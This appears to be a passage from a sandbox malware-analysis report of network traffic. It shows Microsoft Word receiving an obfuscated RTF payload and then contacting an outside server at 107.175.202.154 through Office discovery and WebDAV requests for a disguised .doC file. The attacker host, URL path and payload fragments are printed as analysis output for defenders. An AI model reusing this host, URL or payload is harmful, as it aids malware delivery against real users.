a7 7e 40 28 3f 36 b5 36 2b 39 3f 21 35 31 a7 32 34 35 3d 3f 24 7e 36 33 32 3f 3a 3b 3f 5d 40 31 7e a7 a7 3f 39 35 36 35 26 31 26 3a 31 32 23 3f 30 24 2b 37 33 2d 23 3e 3f 35 29 34 36 25 2b 31 27 3f 3c 32 23 2e 39 29 3f 5e 39 5f 3e 25 29 33 27 33 3d 38 7e 29 38 5f 5b 24 2d 2b a7 39 32 3f 3f 5e 2f 28 3f b0 36 3c 2a 25 2f 3b 2b 23 2b 2a 34 36 2f 36 31 31 38 2f 3f 32 5b a7 25 3b 5e 2a 33 31 2b 34 2b b5 27 21 a7 30 3f 21 27 3f 36 30 3f 40 28 3f 5f 36 7c 3d 27 33 33 35 3d 21 29 b5 35 a7 31 28 b0 3f 30 3f 25 36 26 40 32 60 2a 5e 36 21 25 7c 25 5b 7e 3f 27 39 40 2a 3f 39 31 3f 3f 2f 24 35 23 a7 29 3c 2a b5 3f 3f 38 3f 2e 25 3b 36 34 3e 27 21 5d 2f 3f 3d 29 21 3f 38 3f 3b 40 5e b0 5b 30 60 60 36 21 5e 34 b5 7e 34 40 25 2a 3f 25 32 3c 35 38 5e 23 24 23 5f 25 3f 5e 33 b5 29 3a 7e 26 3b 26 36 7c 2b 3a b0 7c 29 a7 3e 2d 2f 32 29 25 25 3e 3e 7c a7 3f 7c 21 7e 5b 2b 2b 7e 29 3f 2c 35 3d 3c 5d a7 5e 60 5f 5e 26 2d 25 29 7c 3a 2c 33 b0 5d b5 37 3f 21 3f 33 21 2e 3a 37 29 33 28 7e 32 3d 40 2f 27 32 40 27 3d 34 60 2e 24 3c 23 23 3f 3f 37 b0 a7 3d 5d 2a 25 25 3f 2d 2a 40 b0 3c 5f b5 40 30 27 3f 25 2c 30 32 21 25 3f 2a 3e 3e 25 3f 5f 2c 2b 5e 5e 2f 37 a7 3b 2b 3f 5f 3b 28 25 24 26 3f 35 5e 7e b5 34 3f 2c 2d 60 3e 3f 3f 32 3e b5 32 5e 38 3f 30 3d 40 37 3f b0 30 5b 2e 2c 3f 3f 30 b5 3a 2d 21 b0 3c 39 25 3e 3f 26 35 33 2a 7e 3c 26 5e 2d a7 3e 3f 3b 3f 2a 5e 7e a7 30 5b 3f 40 b5 5b 23 31 2b 3c 33 3e 24 33 26 39 3a 25 3f 3a 3e 2f 2a 2c 2f 5d 7e 2b 5d 39 2e 24 2f 2b 5d 36 3f 3b 60 3a 34 23 5e b0 3f 24 32 3d 7c 5e 32 3c 26 36 3f 26 2a 3e 29 31 5b 3f 5f 31 3f 3c 37 7c 2b 3e 60 33 26 3f 2f 7e 3f 2d 32 3f 30 29 2c 3f 25 3f 5e 3f 25 34 Data Ascii: {\rt{\mmodsofilter351717706 \+}{\477676506\|1^.4&4_(:%8`@.93[?,!&^:6?=9@`11[:\|40'1@73^%#&<?0@;$)53#22?##4'1^/8^#2.]/[/?,%?<=8_!=62+-?\|>?%''(.?'?#_%%;^?=2>8<?,=>\|2&.$.;\|4`=\|]4\|52`>?~8.8?\|409,@^1=!!-<^%^%_)+#5&^)-+~&&?@.4-*+_?=<?05?18'7=,88_.1)\|37;-/_#)2.:<<0??^\|?4!?')=`??:1$$:??^'<3.[7^(=]~8#?[5&%?4+?$.#-:!0,68%3;/<>%1]?;~-0<$`7(3?5(;%(~-^0_:=$2>@26=%..5\|?(>/,8?8$+-:@=,]7/&&?6`\|^%6:~@(?66+9?!51245=?$~632?:;?]@1~?9565&1&:12#?0$+73-#>?5)46%+1'?<2#.9)?^9_>%)3'3=8~)8_[$-+92??^/(?6<%/;+#+46/6118/?2[%;^31+4+'!0?!'?60?@(?_6\|='335=!)51(?0?%6&@2`^6!%\|%[~?'9@?91??/$5#)<??8?.%;64>'!]/?=)!?8?;@^[0``6!^4~4@%?%2<58^#$#_%?^3):~&;&6\|+:\|)>-/2)%%>>\|?\|!~[++~)?,5=<]^`_^&-%)\|:,3]7?!?3!.:7)3(~2=@/'2@'=4`.$<##??7=]%%?-@<_@0'?%,02!%?>>%?_,+^^/7;+?_;(%$&?5^~4?,-`>??2>2^8?0=@7?0[.,??0:-!<9%>?&53~<&^->?;?^~0[?@[#1+<3>$3&9:%?:>/,/]~+]9.$/+]6?;`:4#^?$2=\|^2<&6?&*>)1[?_1?<7\|+>`3&?/~?-2?0),?%?^?%4
Feb 15, 2024 14:18:57.619048119 CET	1286	IN	Data Raw: 2e 25 3d 3f 7c 40 27 60 2e 39 25 5d 26 5f 31 27 2b 5f 26 2d 35 5e 5b 3f 24 60 2a 26 21 2a 40 38 2e 3c 3f 3d b5 2e 3f 2c 27 3e 3f 3f 23 60 5f 2e 2f 26 34 40 29 b5 2c 3f 7c 2c 3e 33 3f 2f 2e b5 3f 5b 3f 3a 25 39 b5 2d 5f 60 34 a7 3e 30 5e 24 2f 3f Data Ascii: .%=?\|@'`.9%]&_1'+_&-5^[?$`&!@8.<?=.?,'>??#`_./&4@),?\|,>3?/.?[?:%9-_`4>0^$/?)`97$/^@?4#).`2_!+~?8;@2!1&:(\|\|?;5:,,?&?=9/<\|(3-&./?[5@?@[??8(?9]~3?[1#~???36_8&?;~.8;`%`(0=?'%%=(.[?-&^8^79-?%3&(&?,!7-.9&9?&$7?906@~?&![4!637?]4!8
Feb 15, 2024 14:18:57.619059086 CET	1286	IN	Data Raw: 33 3b 35 3f 5f 35 3b 7c 60 2e 3a 7c 3d 3f 2b 40 3f 3a 38 5e 27 40 29 5d 3d 25 40 3f 7c 2b 37 3e 30 24 28 7c 2d 24 7e 2e 30 35 23 29 2a 25 25 25 5f 60 5e 31 36 38 2f 21 7c 7e 36 30 25 32 33 3b 7c 3f 7e 3f 36 39 23 3f 5e 3f 37 3e 32 2a b5 32 2f 30 Data Ascii: 3;5?_5;\|`.:\|=?+@?:8^'@)]=%@?\|+7>0$(\|-$~.05#)%%%_`^168/!\|~60%23;\|?~?69#?^?7>22/0)-4>739@#78[`2)^?[29;](57=![?%~?`+40#(3@?1?#?%8=3;>>#4:,<'/$5^'%&.<@_?<'5','1[(>'>]51?-9?&<>7,$?<2.=#^#5.[(@?(:%:4?7?5@&?#-[8-@?!&>=?4?@35?3[&2!,]46.3
Feb 15, 2024 14:18:57.619071007 CET	1286	IN	Data Raw: 7e 33 3f 3a 32 b5 36 3f 3f 26 3b 37 2e 5f 27 24 3f 60 3f 27 3f 23 3c 5f 3d 27 3c a7 28 3f 39 5e 2e 24 38 7c 2e 2c 3f 29 2e 2b 7e 2e 26 b0 b5 30 31 60 5b 2a 31 2e 2c 33 3e 5d 3b 2b 33 5b 30 3a 3c 5f 30 3f 3c 2c b0 31 7c 7c 2e 2d 7e 5b 60 5b 32 7c Data Ascii: ~3?:26??&;7._'$?`?'?#<_='<(?9^.$8\|.,?).+~.&01`[1.,3>];+3[0:<_0?<,1\|\|.-~[`[2\|?84<%@-1_?>;??^@7_?5[--~33?]86,8??%6%+!/,%37'<!5]24#?1-%,]~2$?[?5_?3?0$4!#-705).%\|?%+':#0\|=_7,?;[~_.0#%?-;)?+$-?@%?9?3<`+!*+~/2-.1/[]?1~'+!#/.?/=??38?<6?
Feb 15, 2024 14:18:57.619086981 CET	1286	IN	Data Raw: 34 2c 24 40 2e 3a 27 3b 2a 3f 28 32 25 2a 39 3f 2d 36 5b b5 2c 3f 3f 7c 31 7c 3d 26 2d 34 5d 33 38 34 3f 32 5e 5e 3a 36 2c 30 2c 3e b0 34 40 3b 3f 5f 3f 40 28 b0 3d 23 40 2f 3d 31 2f 28 36 25 40 21 2b 32 21 b5 21 27 30 3f 34 3a 34 2b 25 7e 5e a7 Data Ascii: 4,$@.:';?(2%9?-6[,??\|1\|=&-4]384?2^^:6,0,>4@;?_?@(=#@/=1/(6%@!+2!!'0?4:4+%~^`;&57(40%#`('.?4^')4311-+;^0:/_'0?>0?+\|^:'900<(%8<?,,.+,?.%.49[-[%#0@$&,^85~=+,\|@93\|29&3?~^4%=)/=@32('~0__)/,*7`5'?%?[#/=(;!9=996#';4-0^>%:5&~3]~@+)[
Feb 15, 2024 14:18:57.619097948 CET	1286	IN	Data Raw: 72 78 76 6b 64 6b 63 70 72 6d 77 6a 6b 6f 6c 79 6b 72 73 6c 61 72 6d 72 74 7d 7d 33 20 09 20 09 20 09 09 09 09 20 20 09 09 20 09 20 09 09 20 20 09 35 20 20 20 20 20 09 09 09 09 20 20 09 09 20 09 20 09 09 20 20 5c 62 69 6e 30 30 30 30 30 0d 20 09 Data Ascii: rxvkdkcprmwjkolykrslarmrt}}3 5 \bin00000 072 c370 200 0 0 000f00000038
Feb 15, 2024 14:18:57.619111061 CET	1286	IN	Data Raw: 20 20 09 09 20 09 09 20 09 31 30 30 0a 0a 0a 0d 30 0d 0a 0a 0d 30 30 30 09 09 09 09 09 09 20 09 09 09 09 20 20 20 09 09 20 09 09 20 09 30 30 20 09 09 09 09 09 20 09 09 09 09 20 20 20 09 09 20 09 09 20 09 30 20 09 09 09 09 09 20 09 09 09 09 20 20 Data Ascii: 1000000 00 0 00 0 0000 10 000002 0
Feb 15, 2024 14:18:57.619123936 CET	1286	IN	Data Raw: 20 20 09 20 09 09 20 09 09 20 20 09 20 66 20 20 09 09 20 09 09 09 20 20 20 20 09 09 09 20 20 20 09 20 09 66 0d 0d 0d 0d 66 20 20 09 20 09 09 20 09 09 20 20 20 09 09 09 20 20 20 09 20 09 66 0d 0d 0d 0d 66 0d 0d 0d 0d 66 66 09 09 09 20 09 09 09 20 Data Ascii: f ff ffff fffff ff ffffffffff ff fffff
Feb 15, 2024 14:18:57.619136095 CET	1286	IN	Data Raw: 0d 0a 0d 66 09 20 20 09 20 09 09 20 20 09 09 09 20 20 09 20 20 09 09 20 20 66 66 66 66 0a 0d 0a 0d 66 09 09 09 20 20 09 20 09 20 09 09 09 20 20 09 20 20 09 09 20 20 66 66 0a 0a 0a 0d 66 66 66 0a 0d 0a 0d 66 66 66 20 20 09 20 09 20 09 09 20 20 09 Data Ascii: f fffff ffffffff f ff ff ffff ffffffffff fffffff
Feb 15, 2024 14:18:57.619152069 CET	1286	IN	Data Raw: 09 09 09 09 09 09 09 20 20 09 20 09 09 20 20 09 20 09 09 66 09 09 09 09 09 09 09 09 09 20 20 09 20 09 09 20 20 09 20 09 09 66 09 20 09 20 20 20 09 20 20 20 09 09 20 09 09 20 20 09 20 09 09 66 20 09 09 09 20 20 20 20 09 20 09 20 20 09 09 20 20 09 Data Ascii: f f f fff f fffffff ffff fff fff
Feb 15, 2024 14:18:57.753982067 CET	1286	IN	Data Raw: 20 09 09 20 09 20 09 09 20 20 20 20 20 20 09 66 66 66 66 09 09 20 09 09 20 20 20 09 20 20 09 20 20 09 20 20 20 20 09 09 66 09 09 09 20 09 20 09 20 09 20 20 09 20 09 09 09 09 09 20 09 09 66 0a 0d 0d 0a 66 09 09 09 09 20 09 20 09 09 20 09 09 20 09 Data Ascii: ffff f ff f f f f f fffffff ff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49163	107.175.202.154	80	1596	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Timestamp	Bytes transferred	Direction	Data
Feb 15, 2024 14:18:58.643806934 CET	141	OUT	OPTIONS /rmc/ HTTP/1.1 User-Agent: Microsoft Office Protocol Discovery Host: 107.175.202.154 Content-Length: 0 Connection: Keep-Alive
Feb 15, 2024 14:18:58.781802893 CET	253	IN	HTTP/1.1 200 OK Date: Thu, 15 Feb 2024 13:18:58 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 X-Powered-By: PHP/8.1.25 Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49164	107.175.202.154	80	1596	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Timestamp	Bytes transferred	Direction	Data
Feb 15, 2024 14:18:59.269529104 CET	240	OUT	HEAD /rmc/beautifulpeoplesaroundtheworldtodevelopnewthingswiththeworldwidetechnologyformicrosoftballonsystemdevelopementpcpcto.doC HTTP/1.1 Connection: Keep-Alive User-Agent: Microsoft Office Existence Discovery Host: 107.175.202.154
Feb 15, 2024 14:18:59.406320095 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 15 Feb 2024 13:18:59 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Last-Modified: Thu, 15 Feb 2024 01:10:30 GMT ETag: "ff9f-611614b29bc79" Accept-Ranges: bytes Content-Length: 65439 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/msword

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.22	49166	107.175.202.154	80

Timestamp	Bytes transferred	Direction	Data
Feb 15, 2024 14:19:02.811908007 CET	135	OUT	OPTIONS /rmc HTTP/1.1 Connection: Keep-Alive User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601 translate: f Host: 107.175.202.154
Feb 15, 2024 14:19:02.947417021 CET	628	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 15 Feb 2024 13:19:02 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Location: http://107.175.202.154/rmc/ Content-Length: 340 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 31 30 37 2e 31 37 35 2e 32 30 32 2e 31 35 34 2f 72 6d 63 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 31 2e 32 35 20 53 65 72 76 65 72 20 61 74 20 31 30 37 2e 31 37 35 2e 32 30 32 2e 31 35 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://107.175.202.154/rmc/">here</a>.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Server at 107.175.202.154 Port 80</address></body></html>
Feb 15, 2024 14:19:02.949990034 CET	136	OUT	OPTIONS /rmc/ HTTP/1.1 Connection: Keep-Alive User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601 translate: f Host: 107.175.202.154
Feb 15, 2024 14:19:03.087971926 CET	252	IN	HTTP/1.1 200 OK Date: Thu, 15 Feb 2024 13:19:03 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 X-Powered-By: PHP/8.1.25 Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Feb 15, 2024 14:19:03.379153013 CET	165	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 72 6d 63 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 Data Ascii: PROPFIND /rmc HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601Depth: 0translate: fContent-Length: 0Host: 107.175.202.154
Feb 15, 2024 14:19:03.427108049 CET	252	IN	HTTP/1.1 200 OK Date: Thu, 15 Feb 2024 13:19:03 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 X-Powered-By: PHP/8.1.25 Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Feb 15, 2024 14:19:03.514327049 CET	627	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 15 Feb 2024 13:19:03 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Location: http://107.175.202.154/rmc/ Content-Length: 340 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 31 30 37 2e 31 37 35 2e 32 30 32 2e 31 35 34 2f 72 6d 63 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 31 2e 32 35 20 53 65 72 76 65 72 20 61 74 20 31 30 37 2e 31 37 35 2e 32 30 32 2e 31 35 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://107.175.202.154/rmc/">here</a>.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Server at 107.175.202.154 Port 80</address></body></html>
Feb 15, 2024 14:19:03.514867067 CET	166	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 72 6d 63 2f 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 Data Ascii: PROPFIND /rmc/ HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601Depth: 0translate: fContent-Length: 0Host: 107.175.202.154
Feb 15, 2024 14:19:03.650784969 CET	252	IN	HTTP/1.1 200 OK Date: Thu, 15 Feb 2024 13:19:03 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 X-Powered-By: PHP/8.1.25 Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Feb 15, 2024 14:19:03.958528042 CET	252	IN	HTTP/1.1 200 OK Date: Thu, 15 Feb 2024 13:19:03 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 X-Powered-By: PHP/8.1.25 Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Feb 15, 2024 14:19:03.993736982 CET	165	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 72 6d 63 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 Data Ascii: PROPFIND /rmc HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601Depth: 0translate: fContent-Length: 0Host: 107.175.202.154
Feb 15, 2024 14:19:04.129082918 CET	627	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 15 Feb 2024 13:19:04 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Location: http://107.175.202.154/rmc/ Content-Length: 340 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 31 30 37 2e 31 37 35 2e 32 30 32 2e 31 35 34 2f 72 6d 63 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 31 2e 32 35 20 53 65 72 76 65 72 20 61 74 20 31 30 37 2e 31 37 35 2e 32 30 32 2e 31 35 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://107.175.202.154/rmc/">here</a>.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Server at 107.175.202.154 Port 80</address></body></html>
Feb 15, 2024 14:19:04.129434109 CET	166	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 72 6d 63 2f 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 Data Ascii: PROPFIND /rmc/ HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601Depth: 0translate: fContent-Length: 0Host: 107.175.202.154
Feb 15, 2024 14:19:04.266107082 CET	252	IN	HTTP/1.1 200 OK Date: Thu, 15 Feb 2024 13:19:04 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 X-Powered-By: PHP/8.1.25 Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Feb 15, 2024 14:19:04.569734097 CET	252	IN	HTTP/1.1 200 OK Date: Thu, 15 Feb 2024 13:19:04 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 X-Powered-By: PHP/8.1.25 Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Feb 15, 2024 14:19:09.015305042 CET	162	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 Data Ascii: PROPFIND / HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601Depth: 0translate: fContent-Length: 0Host: 107.175.202.154
Feb 15, 2024 14:19:09.153134108 CET	300	IN	HTTP/1.1 302 Found Date: Thu, 15 Feb 2024 13:19:09 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 X-Powered-By: PHP/8.1.25 Location: http://107.175.202.154/dashboard/ Content-Length: 0 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Feb 15, 2024 14:19:09.153429985 CET	172	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 64 61 73 68 62 6f 61 72 64 2f 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 Data Ascii: PROPFIND /dashboard/ HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601Depth: 0translate: fContent-Length: 0Host: 107.175.202.154
Feb 15, 2024 14:19:09.294578075 CET	615	IN	HTTP/1.1 405 Method Not Allowed Date: Thu, 15 Feb 2024 13:19:09 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Allow: OPTIONS,HEAD,GET,POST,TRACE Content-Length: 330 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 50 52 4f 50 46 49 4e 44 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 66 6f 72 20 74 68 69 73 20 55 52 4c 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 31 2e 32 35 20 53 65 72 76 65 72 20 61 74 20 31 30 37 2e 31 37 35 2e 32 30 32 2e 31 35 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>405 Method Not Allowed</title></head><body><h1>Method Not Allowed</h1><p>The requested method PROPFIND is not allowed for this URL.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Server at 107.175.202.154 Port 80</address></body></html>
